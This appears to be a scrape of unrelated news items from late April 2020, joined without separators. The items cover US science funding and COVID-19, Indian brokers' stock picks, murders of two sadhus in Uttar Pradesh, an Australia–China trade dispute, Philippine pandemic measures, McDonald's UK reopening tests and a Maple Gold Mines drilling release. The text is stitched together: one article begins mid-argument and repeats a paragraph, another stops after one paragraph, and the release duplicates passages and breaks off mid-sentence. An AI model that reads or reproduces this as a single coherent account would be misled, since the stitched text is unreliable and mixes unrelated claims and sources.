Andreessen points to a "smug" absence of desire to invest in education, housing and other public goods. It's fair to say that higher spending on basic research wouldn't necessarily have produced a more effective response to the coronavirus, since the virus is novel and many of its aspects still confound medical researchers. Private enterprise, moreover, has been energized to research and, if warranted, manufacture treatments or a vaccine for the disease. If that happens, the power of American pharmaceutical manufacturing may show itself. Story continues Kevin Drum of Mother Jones, who pointed us to Tabarrok's analysis, aptly observes that the culprit in America's pathetically slow rollout of COVID-19 testing hasn't been a lack of scientific research and development, but infrastructure and technology spending: "It is disgraceful that weve been so slow to roll this out, but its not really related to R&D." He's right about that, but the nation's approach to the "D" of R&D isn't entirely unrelated to its approach to the "R." The record shows that the U.S. government has been increasingly indifferent, even hostile, to spending on basic scientific research, the seed corn of the possible development of treatments and a cure for COVID-19. The trend dates back decades. But certainly it has picked up steam under President Trump, who has systematically stripped federal agencies of their scientific authority and, during the current crisis, seems to have paid little mind to the scientific advice he's given. U.S. spending on science has declined as a share of the federal budget for more than a half-century. (MIT) Trump's anti-immigrant policies also threaten to choke off one of the traditional advantages of U.S. science, which is its receptiveness to students and scientists from abroad. In just the last few days, according to Politico, the Trump administration cut off funding for a project supported by National Institutes of Health studying how coronaviruses jump from bats to humans, as the virus responsible for the current pandemic apparently did. The project involved collaboration with a scientific instituted in Wuhan, China, the city where the pandemic originated. As we've reported, since at least 2000, scientists have become increasingly concerned about a growing U.S. innovation deficit, as a 2015 report by MIT put it. The report listed four landmark scientific breakthroughs of the prior year: the first spacecraft landing on a comet; the discovery of the Higgs boson, a new fundamental particle; the development of the worlds fastest supercomputer; and new research in plant biology pointing to new ways to meet global food needs. Then came the punchline: None was a U.S.-led achievement. The first two were the products of European-led consortia, and credit for the second two belonged to the Chinese "reflecting that nations emergence as a science and technology power." The report attributed the absence of U.S. leadership in these innovations "in part to declining public investment in research." In a follow-up report a year later, researchers from a dozen top research institutions examined tangible results from basic science, including an Ebola vaccine and a practical demonstration of the principle underlying quantum computing and ultra-secure quantum communications. "Increasingly, as U.S. science investment stagnates, some of these breakthroughs both in fundamental research and in practical applications are occurring outside the United States," the researchers reported. One field in which basic research was shortchanged, the MIT report noted, was the fight against infectious disease. Writing in 2015, the authors focused on Ebola, the most dangerous viral disease of the time, but their conclusions could apply almost as well to COVID-19. The problem, the authors suggested, was an overreliance on "privately funded research in pharmaceutical and biotechnology companies. The private sector was successful at devising "drugs, tests, and procedures needed to combat the diseases of the developed world," but "existing priorities and incentives are not sufficient to prepare for diseases that emerge by jumping from animals to humans in impoverished parts of the developing world." Creating drugs and tests for known diseases is applied research. But "if we are to be prepared for the next viral epidemic, we need to invest in the basic research to characterize and understand all known viruses with the potential to be highly infectious," the MIT report warned. Its words reverberate today. Because private commercial companies seldom invest in research they can't reliably link to their core businesses, it falls to the public sector to fund basic research for the same reason that government made the initial investments in basic infrastructure such as interstate highways, Hoover Dam and the internet. Since about 1986, however, U.S. government investment in R&D has stagnated at around $100 billion a year, according to the nonprofit Information Technology and Innovation Foundation (with a brief spike to $126 billion in 2009, due to the post-crash stimulus). Business R&D, however increased from $70 billion in 1980 to $300 billion in 2016, an increase of 340%. It's fair to say that higher spending on basic research wouldn't necessarily have produced a more effective response to the coronavirus pandemic, since the virus is novel and many aspects of the infection it produces in humans still confounds medical researchers. Private enterprise, moreover, has been energized to research and, if warranted, manufacture treatments or a vaccine for the disease. It's also true that, while America's funding of basic research has remained stagnant in dollars and declined in relation to the burgeoning growth in its economy, the absolute numbers remain impressive. As U.S. government spending on R&D have stagnated, business spending has soared--but their goals are very different. (ITIF) The $100 billion a year spent by U.S. government agencies is more than that of any other country's public sector, according to UNESCO. China's outlay of roughly $80 billion from the public sector and $300 billion from business adds up to about 2% of its gross domestic product spent on R&D of all forms, compared to 2.7% in the U.S. Yet if we measure a country's commitment to R&D in relation to the size of its economy, the U.S. lands behind much smaller countries, including Germany (2.9%), Japan (3.4%), Israel (4.2%) and South Korea (4.3%). In the U.S., basic research has long been hampered by political narrow-mindedness and ideological roadblocks. The U.S. abandoned its plan to build the world's most powerful atom-smasher, thus maintaining a lead first established at UC Berkeley with Ernest Lawrence's invention of the cyclotron, when Congress pulled the plug in 1993 after spending $2 billion. Nobel physicist Steven Weinberg, a leader of the superconducting super collider project, recalled one telling encounter with a congressman who opposed the SSC. He said that he wasnt against spending on science, but that we had to set priorities. I explained that the SSC was going to help us learn the laws of nature, and I asked if that didnt deserve a high priority. I remember every word of his answer. It was No. The quest for the biggest, best atom-smasher was won by the Large Hadron Collider, which was built by a European team and achieved the breakthrough discovery of the Higgs boson. In subsequent years, Republicans in Congress have tried to stifle research into climate change, presumably at the behest of their patrons in the fossil fuel industry. George W. Bush blocked research into embryonic stem cells, a bow to Christian conservatives who saw it as a violation of religious principles. (Bush's action prompted California votes to create a $3-billion state stem cell program in 2004.) Could a more robust approach to funding basic science have placed the U.S. in the lead in the fight against COVID-19? All that one can say is that allowing spending to stagnate didn't help. And in this crisis, we need all the help we can get. live bse live nse live Volume Todays L/H More The market has recovered around 21 percent from lows in March but has not attained the same levels as before. Indices are moving in a range and are lacking any direction in the absence of any positive news on COVID-19 front. "The situation is very fluid but if we are to assume that there are no large shockwaves emerging from global markets, we expect market to remain rangebound for near term till further clarity on emerging of lockdown and the coronavirus cases top out and start reducing consistently," Sumit Bilgaiyan, Founder of Equity99 told Moneycontrol. "In case of any news in terms of sharp rise in cases globally or failure to come out with an effective medicine and vaccine the markets may witness a sharp correction. Also, further significant extension of lockdown may lead to a sharp correction," he said. Ajit Mishra, VP Research at Religare Broking also said markets were constantly facing headwinds as the prevailing lockdown has completely derailed the economy and the news of a further delay in the stimulus package has dampened the sentiment. Experts say valuations are still attractive given the likely growth in FY22 and investors can start accumulating quality stocks. Here are seven stocks that are long-term in the current scenario. Expert: Ajit Mishra, VP Research at Religare Broking Britannia: Britannia is one of the steady players in FMCG space mainly Biscuits and Bakery segments. Strong management and its focus on growth are one of the reasons for the decent performance of Britannia. Going forward, we believe the company would deliver healthy growth driven by 1) innovating products in core categories, 2) continuous investment behind its brands, 3) Maintaining leadership position and gaining market shares and 4) Increasing distribution reach. Further, the company's cost-saving initiatives, product mix and premiumization would help in gaining revenue as well as expanding margins. Hindustan Unilever: HUL is a strong player in the FMCG sector, with presence across segments such as Home Care, Beauty & Personal Care and Foods and Refreshment. The companys performance has been consistent and going forward we expect HUL to outperform other players led by 1) healthy product portfolio and well-recognized brands amongst customers. 2) The companys continuous focus on premiumization of products, 3) Its robust expansion in the natural category which is well-known among the young generation, 4) HUL has strong distribution network which helps the company reach its customers in rural as well as urban areas and lastly 5) It has constantly focused on acquiring brands which are suitable for developing business; e.g. recent acquisitions include GSK consumer business, VWash brand from Glenmark, etc. HUL thus remains one of the preferred picks in the sector for long term on the back of strong balance sheet, earnings growth visibility and healthy return ratio. Cipla: Cipla is the largest player in respiratory therapy with a market share of 20 percent and is the 3rd largest player in the domestic formulations market. Its India business is gaining strength as the company is enhancing the penetration of respiratory drugs. Notably, Cipla also sees opportunity in tackling COVID-19 by leveraging its wide portfolio of respiratory, asthma, anti-virals and HIV drugs. We believe, if successful, it could boost its growth prospects. Moreover, Ciplas initiative of combining its domestic business verticals of trade generics, consumer and prescription will lead to strong synergies across portfolio and distribution chain, thereby leading to higher growth. Further, the company has a strong respiratory pipeline in the USA as well and expects to gain significant market presence through its complex products. On the cost front, reduction in debt, cost optimization measures, as well as declining R&D expenditure (as trials on respiratory assets are completed), will lead to better profitability going forward. In short, it could be one of the promising blue-chip bets from the pharmaceutical space. Bharti Airtel: Bharti Airtel is one of the leading global telecommunication company with operation in 18 countries across Asia and Africa and a subscriber base of 419 million. The Indian Telecom Industry has witnessed challenging times in the recent past due to an increase in competitive intensity. However, despite that Bharti Airtel has managed to gradually increase its subscriber base. Further, concerning the AGR dues of around Rs 34,000 crore to the government, the company has successfully raised Rs 21,500 crore through a combination of fresh equity and convertible bond issuance. This has allayed concerns over the sustainability of its business and the recent much-required tariff increase has been a big positive for the industry, leading to better ARPUs for the company. We believe the worst is over for the telecom industry in terms of pricing and Bharti Airtel is well placed to benefit from the same given its strong customer base, healthy balance sheet and industry tailwinds such as increased government focus on digitization leading to increase in data usage. Further, we believe that it would be one of the least affected due to nationwide lockdown. HDFC Bank: HDFC Bank is one of the leading private sector banks, providing a wide range of banking services covering commercial and investment banking on the wholesale side and transactional / branch banking on the retail side. Since years, HDFC Bank has been a consistent performer in terms of delivering growth. Its financial track record has been impressive with its total income and PAT growing by 20.1 percent and 20 percent CAGR over FY14-19. NII growth stood healthy at 21.2 percent CAGR during the same period, while NIMs have remained consistent in the range of 4-4.5 percent. Further, its asset quality has remained stable for years with gross NPA at 1.42 percent and net NPAs to advances below 0.5 percent. We believe that the banking industry would witness challenges in the near term owing to nationwide lockdown which has impacted businesses. Further, HDFC Bank's high portion of retail loans could pose a risk to its asset quality. Therefore, we have seen a decent correction in the stock price recently. Nonetheless, we believe HDFC Bank is well placed to wither the storm given its quality franchise, strong balance sheet and industry-leading asset quality. From a long term perspective, it is poised for strong growth led by its increased focus on digitization and wider reach which would enable it to strengthen its market share further and deliver healthy growth. Expert: Sumit Bilgaiyan, Founder at Equity99 Hindustan Unilever: It is the largest debt free FMCG company and demand for consumer goods is unexpected to take a major hit. Britannia: Being a large scale domestic FMCG player with no debt and strong penetration and ability to launch lower ticket size and quantity packings ensuring that the impact on them will be low. HDFC Bank: Judicious mix of retail and corporate loan book enabled the bank to demonstrate strong loan book growth in previous quarter despite systemic slow down. Strong underwriting and strict monitoring of loan has enabled the bank to keep its asset quality stable. Post Yes Bank crisis, HDFC Bank have witnessed growth in deposits, leading to improved CASA ratios and NIM. Stable growth aided by tax cut will further help bank to deliver around 15 percent PAT growth. By the virtue of being the largest lender, they enjoy the comfort of having some of the best of quality of borrowers, mainly large PSUs along with NBFCs, which are more likely to weather the storm and will be able to service the debt. Sun Pharmaceutical: Compounded sales growth in last 10 years is at 21.39 percent and stock price CAGR of 11.58 percent. Management decisions and USFDA approvals were the factor leading a constant slacker and the stock has been a constant underperformer from since 2015. Since Coronavirus spread factor gave more interest & trust as well as visibility in Pharma sector worldwide, and USFDA has also been relaxed on the norms in last one month permitting for more drug manufacturing, this gives a very positive indication for the pharma sector. Cadila Healthcare: Considering the cost conscious nature (pricing competition) of various export markets amidst the economic impact of COVID-19, we believe companies like Cadila with larger portfolio and integrated manufacturing will be the key beneficiaries. Logistic has been the biggest issue faced due to lockdown. Going ahead, we believe Cadila to outperform peers in US generics (as evident from double digit volume growth in YTD) and to outpace industry growth in the domestic formulations market led by its business restructuring and revamping of distribution. Additionally, its R&D initiatives have progressed well for monetisation in the near future. : Moneycontrol.com advises users to check with certified experts before taking any investment decisions. UP assembly polls will be about '80 per cent vs 20 per cent'; BJP will win: Yogi Adityanath UP: Elections not won on exit polls basis, results will be surprising: Kamal Nath Uttar Pradesh sadhus' killing: Shiv Sena, Congress demand meticulous investigation India oi-Ajay Joseph Raj P New Delhi, Apr 28: Shiv Sena leader Sanjay Raut on Tuesday called the killing of two sadhus in Uttar Pradesh's Bulandshahar "terrible" and urged people to not give it a communal colour. Taking to Twitter, the Shiv Sena leader said, "Terrible! killing of two saints, sadhus at a temple in Bulandshahar, UP, but I appeal to all concerned to not make it communal the way they tried to make Palghar, Maharashtra incident." On Monday night, two bodies of sadhus were found in a temple in Pagona village in Anoopshahar, Uttar Pradesh. According to police, the sadhus were killed by a sharp-edged object. Two sadhus murdered in Uttar Pradesh Meanwhile, the police have arrested a man who, according to the police, told them it was "God's will". The priests have been identified as Jagdish or Rangidas (55) and his disciple Sher Singh (46). Reacting to this incident, Bulandshahar SSP Santosh Kumar Singh said, "As per initial probe, it has been found that few days back, the youth had taken away a belonging (chimta) of priests after which they had scolded him. Following which, he murdered two priests today." Palghar lynching: CM Thackeray urges Amit Shah to take action on those giving communal colour Uttar Pradesh Chief Minister Yogi Adityanath also took a serious note on this incident and directed senior officials to take strict action against the culprit and submit a detailed report. Also, Congress general secretary Priyanka Gandhi Vadra demanded the truth behind the incident and should not be politicised. "Today in Bulandshahr, two sadhus were murdered while they were sleeping. The truth must come out after investigation in this heinous crime and at this stage no body should politicise this issue," she tweeted in Hindi. Australia asks China to explain 'economic coercion' threat in coronavirus row A man wearing a face mask is seen under a bridge of Yangtze river in Wuhan after the lockdown was lifted in Wuhan By Kirsty Needham SYDNEY (Reuters) - Australia has asked the Chinese ambassador to explain his "threats of economic coercion" in response to Canberra's push for an international inquiry into the source and spread of the coronavirus. Australia's call for a probe into the pandemic, which originated in the central Chinese city of Wuhan in December, has angered China, its largest trading partner, following a couple of years of diplomatic tension. Cheng Jingye, Beijing's ambassador to Australia, told a newspaper on Monday that Chinese consumers could boycott Australian beef, wine, tourism and universities in response. Australian Trade Minister Simon Birmingham said Australia was a "crucial supplier" to China and that Australia's resources and energy helped power much of China's manufacturing growth and construction. He said Cheng had been called by the secretary of the Department of Foreign Affairs and Trade to explain his comments. "Australia is no more going to change our policy position on major public health issues because of economic coercion, or threats of economic coercion, than we would change our policy position in matters of national security," Birmingham said on ABC radio. The Chinese embassy published a summary of the conversation on its website, which said Cheng had "flatly rejected the concern expressed from the Australian side". Cheng also said "the fact cannot be buried that the proposal is a political manoeuvre," according to the statement, which added that Australia was "crying up wine and selling vinegar" when it said the proposed review would not target China. Chinese Foreign Ministry spokesman Geng Shuang denied the ambassadors comments amounted to "economic coercion". The Chinese ambassador to Australia is talking about the concerns of the Chinese people, who ... disapprove of certain wrong actions by Australia lately, Geng told reporters in Beijing. Story continues Birmingham told Sky News the Australian "government's displeasure was made known" in the phone call. China accounts for 26% of Australia's total trade, worth around A$235 billion ($150 billion) in 2018/19, and is the biggest single market for Australian exports such as coal, iron ore, wine, beef, tourism and education. Birmingham said Australia wanted to maintain a positive relationship with China, but would also seek other opportunities in places such as India and the European Union. Trade with the European Union was worth A$114.3 billion and India A$30.3 billion in 2018/19. Even amid escalating diplomatic tensions in 2018/19, when Australia introduced foreign interference laws perceived to be aimed at China, two-way trade with China grew by 20%. "China needs us. Let's not forget that. Many of the critical imports to Chinese industry, like iron ore, coal, and gas come from Australia," James Paterson, a member of the ruling Liberal Party, told Sky News. (Reporting by Kirsty Needham, additional reporting by Cate Cadell in Beijing; editing by Jane Wardell and Nick Macfie) The strongest critics of the Trump administrations handling of the coronavirus pandemic point to its flat-footedness and the consequences of time lost. But the full account looks worse. Over the last five days of February, President Trump and senior officials did something more sinister: They engaged in a cover-up. A look at this window of time gives insight into how several members of the presidents team were willing to manipulate Americans even when so many lives were at stake. The recent reports that the president wanted to fire the Centers for Disease Control and Preventions top expert on viral respiratory diseases, Dr. Nancy Messonnier, during this period helps put the pieces of the puzzle together. Press Release April 28, 2020 Bong Go stresses need to give Filipinos 'hope' of better tomorrow after COVID-19 crisis; pushes for more livelihood opportunities in the countryside as government prepares Balik Probinsya plan In light of the coronavirus disease (COVID-19) emergency in the country, Senator Christopher Lawrence "Bong" Go reiterated his push for a "Balik Probinsya" program to even out economic development and stimulate additional job creations in different regions of the country. He stressed the need to create livelihood opportunities in the countryside to encourage city dwellers and businesses to move to the provinces after the COVID-19 crisis. "Kapag natapos na ang hirap na dinaranas natin dahil sa COVID-19, bigyan natin ng pag-asa ang mga Pilipino na makaahon at magkaroon ng pagkakataon ng mas magandang kinabukasan sa mga probinsya nila," Go said reiterating President Rodrigo Duterte's sentiments that there is a need to provide Filipinos with "hope" of a better tomorrow amid the adverse socio-economic impact of the COVID-19 health emergency. "While we are doing our best to overcome this crisis, let us work together to assure Filipinos that there is hope of a better tomorrow after COVID-19. We can do this by providing them opportunities to rebuild their lives in their home provinces," he added. Go said that one of the first steps to motivate Filipinos to move back to the provinces is to address the lack of livelihood opportunities in the countryside by providing jobs and boosting rural development. He added that for decades, Filipinos move to Metro Manila to seek opportunities that are lacking in their hometowns. "Marami po sa ating mga kababayan ang pumupunta sa Maynila para makahanap ng mga oportunidad para mapunan ang pangangailangan ng kanilang pamilya. Kaya importante na dalhin natin ang livelihood opportunities na ito sa kanilang mga lugar para hindi na nila kakailanganing lumisan pa," Go said. "'Yung mga nasa Maynila naman, kung alam nila na may trabaho at kabuhayan sa kanilang probinsya, mas pipiliin nilang bumalik nalang doon," he added. "Probinsyano rin po ako kaya naiintindihan ko ang sitwasyon nila. Mas gugustuhin ng isang probinsyano na makapiling ang kanyang pamilya at manirahan sa lugar na presko ang hangin at hindi masikip ang mga komunidad at mga kalsada -- basta may sapat na kabuhayan para umunlad rin ang antas niya sa buhay," Go further explained. The Senator lamented the current situation of those from provinces who moved to Metro Manila expecting a better future but ending up living in poorer conditions with no choice but to stay just to earn a living. He said that these settlers are faced with more problems as only low-paying jobs are available for them. "Marami sa kanila ang nagsisisi ngunit wala lang talaga silang choice," he stressed as he narrated his encounters visiting fire victims in Metro Manila and asking those who would like to go back to their provinces. "Sa tuwing bumibisita ako sa mga biktima ng sunog at tinatanong ko sila kung nais nilang bumalik ng probinsya, marami sa kanila ang nagtataas ng kamay. Ngunit nagdadalawalang isip sila dahil hindi sila sigurado kung may mga makukuha ba silang trabaho doon sa probinsya," he said, proving that city dwellers would be willing to return to their provinces if livelihood opportunities are available there. Go said that as early as now, preparations must be made for the implementation of a "Balik Probinsya" program as a tool to empower the countryside, decongest Metro Manila, and address the adverse socio-economic impact caused by COVID-19. "Mahirap bumangon mula sa COVID-19 kung hahayaan pa rin nating magkumpol-kumpol ang mga tao sa Kamaynilaan at wala pa ring asensong mangyayari sa mga probinsya," he said. Following Go's proposal, a virtual meeting was held this Monday with concerned government officials led by Executive Secretary Salvador Medialdea. Initial plans regarding short-term and long-term goals were discussed. The Executive Secretary, with the help of the National Housing Authority and the National Economic and Development Authority, will initially lead the planning stages of the "Balik Probinsiya" program. Concerned agencies like the Department of Interior and Local Government, Department of Social Welfare and Development, Department of Trade and Industry and the Department of Agriculture, among others, will also be involved. The government will initially prepare a plan to assist stranded workers in Metro Manila who wish to return to their home provinces once the enhanced community quarantine is lifted. The possible provision of transportation, food and financial assistance for these beneficiaries are being prepared. Motivating city dwellers and incentivizing businesses to relocate to the provinces will be the long-term goal. Budgetary needs for existing programs of different agencies that can help promote the "Balik Probinsya" initiative will be identified in the planning stages. Go said he will study possible legislative measures needed to support the "Balik Probinsya" initiatives. He further emphasized the need to develop the countryside consistent with the policy direction of President Duterte to create robust economic activities and wealth generation outside Metro Manila or other urban centers. "Hahanapan natin ng paraan upang ganahan ang mga negosyo na mag-invest o mag-expand sa mga probinsya. Palalakasin rin natin ang sektor ng agrikultura para ma-promote pa lalo ang rural development," the Senator said. Meanwhile, DSWD Secretary Rolando Bautista expressed his support for the "Balik Probinsya" plan through a statement released earlier. He said that "economics (livelihood, employment, housing, food supply), socio cultural factors, religion, health, and sanitation facilities, education, training and skills to gain employment based on local employment and industry demands, law and order, wages and labor laws, among others have to be considered." On the part of the DSWD, Bautista said that social workers can do social case management on families willing to relocate. Sec. Bautista recommended a gradual moving out by phases depending on the capacity of the accepting local government units in order to be able to support and sustain the successful relocation of migrants from the National Capital Region. Metro Manila (CNN Philippines, April 28) What will be the "new normal" in the Philippines as the threat of COVID-19 persists? For Speaker Alan Peter Cayetano and seven other House leaders, it will involve the mandatory wearing of face masks in public places and observing physical distancing. There will also be drastic changes in how people work and move. Cayetano and his colleagues on Monday filed House Bill 6623 or the proposed New Normal for the Workplace and Public Spaces Act, which seeks to institutionalize a new way of life amid the COVID-19 pandemic. Under the bill, persons who fail to wear a mask in public will be fined P1,000. There should also be a distance of at least one meter between persons in all public places. The operation of motorcycle taxis will remain suspended since the rider and passenger are too close to each other. Passengers in other forms of public transportation should be seated one seat apart from each other and be made to pay through contact-less methods. The bill also proposes the suspension of classes and other school activities until further notice, though without prejudice to the academic freedom and levels of autonomy enjoyed by institutions of higher learning. However, both private and public schools should come up with online platforms to allow students to learn online. The bill also requires malls and other commercial establishments to limit the number of people inside their premises. Restaurants can no longer offer buffets or salad bars. Their menu booklets should also be disposable. HB 6623 also requires all private businesses to come up with a management plan for the new normal. This should contain, among others, the total number of employees allowed to work inside the office and the overall strategy for reporting of the workforce. Private employers should also state their plans for managing employees who exhibit symptoms and/or confirmed to have tested for COVID-19. Gatherings in government-managed public spaces as well as privately-managed spaces will be highly regulated. Privately-organized gatherings may be dispersed by the local government if it is established that the persons involved are not following mandatory safety measures, including social distancing and wearing of face masks. The bill also orders the Philippine Statistics Authority to fast-track the implementation of the national ID system. The Department of Information and Communications Technology should also expedite the rollout of the national broadband program. Other government agencies will also be required to create online platforms so the public can do their transactions on the internet. If passed into law, HB 6623 will be effective for three years or shorter if the national government declares that the threat of COVID-19 has been eradicated. Joining Cayetano as co-authors of the bill are Deputy Speaker Luis Raymund Villafuerte, Loren Legarda and Paolo Duterte, House Majority Leader Martin Romualdez, ACT-CIS party-list Rep. Eric Yap, Anakalusugan party-list Rep. Mike Defensor and Bulacan Rep. Jonathan Sy-Alvarado. McDonald's updated customers on its preparations to re-open restaurants during the coronavirus pandemic. (Grace Wong/Chicago Tribune/TNS/Sipa USA) McDonalds is carrying out safety tests in some of its closed UK restaurants to see how branches could re-open during the coronavirus crisis. Paul Pomroy, CEO of the company in the UK and Ireland, said it was looking at how restaurants could eventually re-open this week. Some sites are trialling social distancing measures and personal protective equipment (PPE) for staff behind closed doors. Pomroy said the company had set itself key criteria for re-opening that take time, including ensuring a safe environment for both staff and customers. He said ensuring sufficient supplies of fresh produce was another issue. For now we remain closed, and will only reopen when we are absolutely confident we can have the right measures in place to ensure everyones wellbeing, he said, according to PA. READ MORE: Furloughed workers urged to harvest UK fruit and vegetables It comes amid significant speculation on social media in the past few days about the popular fast food giant re-opening its UK restaurants. The Irish Farmers Journal had reported last week branches could re-open on a limited basis in mid-May with drive-through and delivery services. A message on McDonalds UK Facebook page on the same day said its notifications were going wild, promising an update as soon as the companys plans were confirmed. Another post also acknowledged these rumours are frustrating in response to a staff member who said she had been inundated with customers asking about re-opening plans. Montreal, Quebec--(Newsfile Corp. - April 28, 2020) - Maple Gold Mines Ltd. (TSXV: MGM) (OTCQB: MGMLF) (FSE: M3G) ("Maple Gold" or the "Company") is pleased to summarize the recently completed drilling and exploration work at the Company's Douay Gold Project. A total of 13 drill-holes and one drill-hole extension were completed for a total of 4,370 metres. Assays remain outstanding for 12 drill-holes (1-NW Zone, 4-Nika Zone and 7-Porphyry Zone). A brief summary of the various objectives and target concepts for the drill-holes with assays still pending is provided below (see Figure 1): NW Zone: Single step-out drill-hole completed with the objective of expanding the NW Zone pit-constrained resource area, which included testing the western continuity ~100 to the west of an adjacent historical intercept (1994) that cut higher than deposit average grade starting from only 41m downhole. The current pit-constrained resource at the NW Zone is 2.6 Mt @ 1.14 g/t Au for 96,000oz Au (RPA 2019). Single step-out drill-hole completed with the objective of expanding the NW Zone pit-constrained resource area, which included testing the western continuity ~100 to the west of an adjacent historical intercept (1994) that cut higher than deposit average grade starting from only 41m downhole. The current pit-constrained resource at the NW Zone is 2.6 Mt @ 1.14 g/t Au for 96,000oz Au (RPA 2019). Nika Zone: Maple Gold's discovery hole in this area cut 50m @ 1.77 g/t Au from 297 metres downhole in 2018. Limited follow-up drilling during 2019 intersected broad lower grade gold mineralisation and the Nika Zone supported a new conceptual pit (3.6 Mt @ 0.94 g/t Au for 109,000oz Au) in the Company's latest resource estimate (RPA 2019). One of the objectives for the Company's four drill-holes this winter at the Nika Zone is to define the near-surface expression of the higher-grade 2018 discovery hole. Maple Gold's discovery hole in this area cut 50m @ 1.77 g/t Au from 297 metres downhole in 2018. Limited follow-up drilling during 2019 intersected broad lower grade gold mineralisation and the Nika Zone supported a new conceptual pit (3.6 Mt @ 0.94 g/t Au for 109,000oz Au) in the Company's latest resource estimate (RPA 2019). One of the objectives for the Company's four drill-holes this winter at the Nika Zone is to define the near-surface expression of the higher-grade 2018 discovery hole. Porphyry Zone: The 3km by 1km Porphyry Zone contains 136,000 indicated pit-constrained ounces (4.4 Mt @ 0.95 g/t Au) and 1,378,000 inferred pit-constrained ounces (47.9 Mt @ 0.90 g/t Au). There are multiple areas within this broad zone of mineralisation where higher grade mineralisation exists. Five of the seven drill-holes completed at the Porphyry Zone during the Company's winter 2020 campaign were designed to test areas prospective for higher than zone-average grades within the top 150 metres from surface. Matthew Hornor, Maple Gold's President and CEO, commented: "We were fortunate to complete nearly 4,400 metres before local shutdowns took effect. We are also very fortunate during this pandemic and economic uncertainty in the markets to have a dedicated team willing to take less cash every month while working hard on multiple strategies with a commitment to build value and position the Company for strong performance in the quarters ahead." The Company's VP, Exploration, Fred Speidel, added: "We have been very pleased with the IP results from our winter surveys, as they have supported existing target concepts and supported new regional targets that are now drill-ready with permits in place. While we wait for new assay results from our winter drilling campaign our team is preparing for further IP surveys to start as soon as exploration work recommences in the province." Figure 1: Distribution of completed 2020 diamond drill-holes on airborne magnetic background. To view an enhanced version of this graphic, please visit: https://orders.newsfilecorp.com/files/3077/54998_e2c7232bd4e3d97c_001full.jpg The Company's winter 2020 geophysics program was very successful, demonstrating that the sulphide bearing system at the 531 Zone is wide open in multiple directions, while also outlining the start of a new chargeability anomaly further north in an area with no drilling over 600m (see press release March 16, 2020), which appears to relate to the WNW extension of the higher grade Main Zone. The infill IP grid completed 3.5-6.4km to the northeast of the known deposits was also successful in detailing a 1,500m long chargeability target, including a >400m target area with highest chargeability (see press release April 8, 2020), interpreted to represent a Vezza-like target. The Company has several additional exploration targets across its 350+ km property that warrant additional IP surveys to define new drill targets, with some of this work likely to commence during Q2. The Company is currently operating with a minimum of personnel at site, principally for care and maintenance purposes. With the reactivation of mining activities in the Province of Quebec, assay laboratories have also reopened, so the Company will be shipping remaining core samples as soon as possible. Assays are expected to be received periodically over the next ~2 months and will be released once they are verified and interpreted. Corporate Adjustments, Reduction in Overheads and Stock Option Grant The Company continuously looks at ways to reduce corporate and project site overheads. Initiatives implemented recently have included the consolidation of certain management roles, specifically in the Vancouver office and the Company is finalizing arrangements to reduce its camp size at site which will reduce monthly camp costs by approximately 50%. In an early response to Covid-19 the Company's senior management team is working for 50% pay during Q2 2020. This will be re-evaluated on June 30, 2020 as part of the Company's quarterly review and assessment of overhead costs. The Company continuously evaluates the various Federal and Provincial programs that have been announced for applicability. The Company has applied for the Canada Emergency Business Account $40,000 interest free loan. The Company is engaged with its commercial landlord to take advantage of the Canada Emergency Commercial Rent Assistance which will lower rent for our corporate office by 75% for April, May and June 2020. The Minister of Energy and Natural Resources of Quebec announced the postponement for one year of the requirement to carry out field work for the renewal of a claim, a simple and effective measure that will help Maple Gold. The Company has granted incentive stock options to certain directors, officers, employees and consultants of the Company as part of its annual option grant and in part as consideration for the continued commitment of its team members that have accepted reduced pay during Q2 2020 and to support a shared vision and team focus on building value in a rising gold market. The Company has granted 9,975,000 options that are exercisable at a price of $0.10. The options have a 5-year term and vest one-third immediately, one-third 12 months from the date of grant and one-third 24 months from the date of grant until the options are fully vested. The Company's Stock Option Plan governs these incentive options, as well as the terms and conditions of their exercise, which is in accordance with policies of the TSX Venture Exchange. Qualified Person The scientific and technical data contained in this press release was reviewed and prepared under the supervision of Fred Speidel, M. Sc, P. Geo., Vice-President Exploration, of Maple Gold. Mr. Speidel is a Qualified Person under National Instrument 43-101 Standards of Disclosure for Mineral Projects. Mr. Speidel has verified the data related to the exploration information disclosed in this news release through his direct participation in the work. Quality assurance (QA) and quality control (QC) Maple Gold implements strict quality assurance (QA) and quality control (QC) protocols at Douay covering the planning and placing of drill holes in the field; drilling and retrieving the NQ-sized drill core; drill hole surveying; core transport to the Douay camp; core logging by qualified personnel; sampling and bagging of core for analysis; transport of core from site to ALS laboratory; sample preparation for assaying; and analysis, recording and final statistical vetting of results. For a complete description of protocols, please visit the company's QA/QC page on its website. About Maple Gold Maple Gold is an advanced gold exploration and development company focused on defining a district-scale gold project in one of the world's premier mining jurisdictions. The Company's ~355 km Douay Gold Project is located along the Casa Berardi Deformation Zone (55 km of strike) within the prolific Abitibi Greenstone Belt in northern Quebec, Canada. The Project benefits from excellent infrastructure and has an established gold resource that remains open in multiple directions. For more information please visit www.maplegoldmines.com. ON BEHALF OF MAPLE GOLD MINES LTD. "Matthew Hornor" B. Matthew Hornor, President & CEO For Further Information Please Contact: Mr. Joness Lang Executive Vice-President Cell: 778.686.6836 Email: jlang@maplegoldmines.com NEITHER THE TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS PRESS RELEASE. Forward Looking Statements: This news release contains "forward-looking information" and "forward-looking statements" (collectively referred to as "forward-looking statements") within the meaning of applicable Canadian securities legislation in Canada, including statements about the prospective mineral potential of the Porphyry Zone, the potential for significant mineralisation from other drilling in the referenced drill program and the completion of the drill program. Forward-looking statements are based on assumptions, uncertainties and management's best estimate of future events. Actual events or results could differ materially from the Company's expectations and projections. Investors are cautioned that forward-looking statements involve risks and uncertainties. Accordingly, readers should not place undue reliance on forward-looking statements. Forward-looking statements include, but are not limited to, statements regarding timing and completion of the private placement. When used herein, words such as "anticipate", "will", "intend" and similar expressions are intended to identify forward-looking statements. Forward-looking statements are based on certain estimates, expectations, analysis and opinions that management believed reasonable at the time they were made or in certain cases, on third party expert opinions. Such forward-looking statements involve known and unknown risks, and uncertainties and other factors that may cause our actual events, results, performance or achievements to be materially different from any future events, results, performance, or achievements expressed or implied by such forward-looking statements. For a more detailed discussion of such risks and other factors that could cause actual results to differ materially from those expressed or implied by such forward-looking statements, refer to Maple Gold Mines Ltd.'s filings with Canadian securities regulators available on www.sedar.com or the Company's website at www.maplegoldmines.com. The Company does not intend, and expressly disclaims any intention or obligation to, update or revise any 